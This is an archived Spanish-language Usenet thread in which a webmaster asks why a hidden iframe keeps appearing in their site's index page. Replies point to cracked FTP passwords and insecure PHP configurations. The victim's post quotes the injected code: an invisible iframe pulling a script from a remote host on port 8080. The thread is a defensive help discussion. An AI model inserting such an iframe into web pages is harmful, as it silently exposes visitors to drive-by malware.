🚀 go-pugleaf

News VTR escribi�:
> Estimados, el ataque se realiza a trav�s del servicio de FTP.
> 
> El procedimiento es que ponen un algoritmo de descifrador de cuentas FTP y 
> lo dejan corriendo sobre una lista de sitios (puede que sea un robot 
> programado para esto), una vez descifrada la pass, la guarda y los tiene 
> parque inyectando el famoso HTML que inserta una linea con un frame de otro 
> lado.
> 
> Para parar estos ataques, les recomiendo que hagan cambio de sus pass de FTP 
> cada cierto tiempo, ojal� sea generado por algun algoritmo de generacion de 
> codigos. A medida que vayan generando esta pass (una vez al mes, por 
> ejemplo), guardenla y haganse el h�bito de cambiarla a cada rato (una vez al 
> mes est� bien). Si la Pass que generan resulta de alta dificultad para estos 
> robots, entonces haganlo solo una vez, o hasta que les pase nuevamente.
> 
> A mi me pasaba, hasta que deduje que este era el motivo, me hice el habito 
> de cambiar la pass del FTP y todo solucionado.

No es solo eso.
Codigo php mal escrito, tambien facilita estos ataques.

Con safe mode deshabilitado, register globals habilitado, permisos 
atravezados en la estructura de directorios, wrappers tcp habilitados 
sin discrecion (en php), y permisos de ejecucion en lugares donde no 
debiera, son las causas mas comunes de este ataque.
Los principales culpables son, lo que mencionas tu.. claves simples (que 
a veces son el mismo nombre de cuenta mas un uno), y portales "pre 
hechos" del tipo que instala cpanel/fantastico (como el egallery).


(Obviamente las versiones mas actuales traen fallas corregidas... pero 
al ser masivos, sus fallas tambien lo son)


> 
> Salu2,
> antxb4nx23r
> 
> 
> "News VTR" <reeddume@gmail.com> escribi� en el mensaje 
> news:h4k8ht$ujb$1@news.nivel5.cl...
>> Una pagina index he tenido que corregirla varias veces, porque de repente 
>> aparece "desplazada" hacia abajo.
>> Mirando el codigo, resulta que APARECE un iframe que yo no he puesto y que 
>> produce el desplazamiento.
>> El codigo "intruso" es este:
>> <iframe src="http://u1j.in:8080/ts/in.cgi?pepsi109" width=125 height=125 
>> style="visibility: hidden"></iframe>
>>
>> �como puede haberse "metido" al codigo, y ya en el Servidor?
>>
>> �Alguna experiencia al respecto?
>> �Que se puede hacer?
>>
>> So no + y gracias
>>
> 
>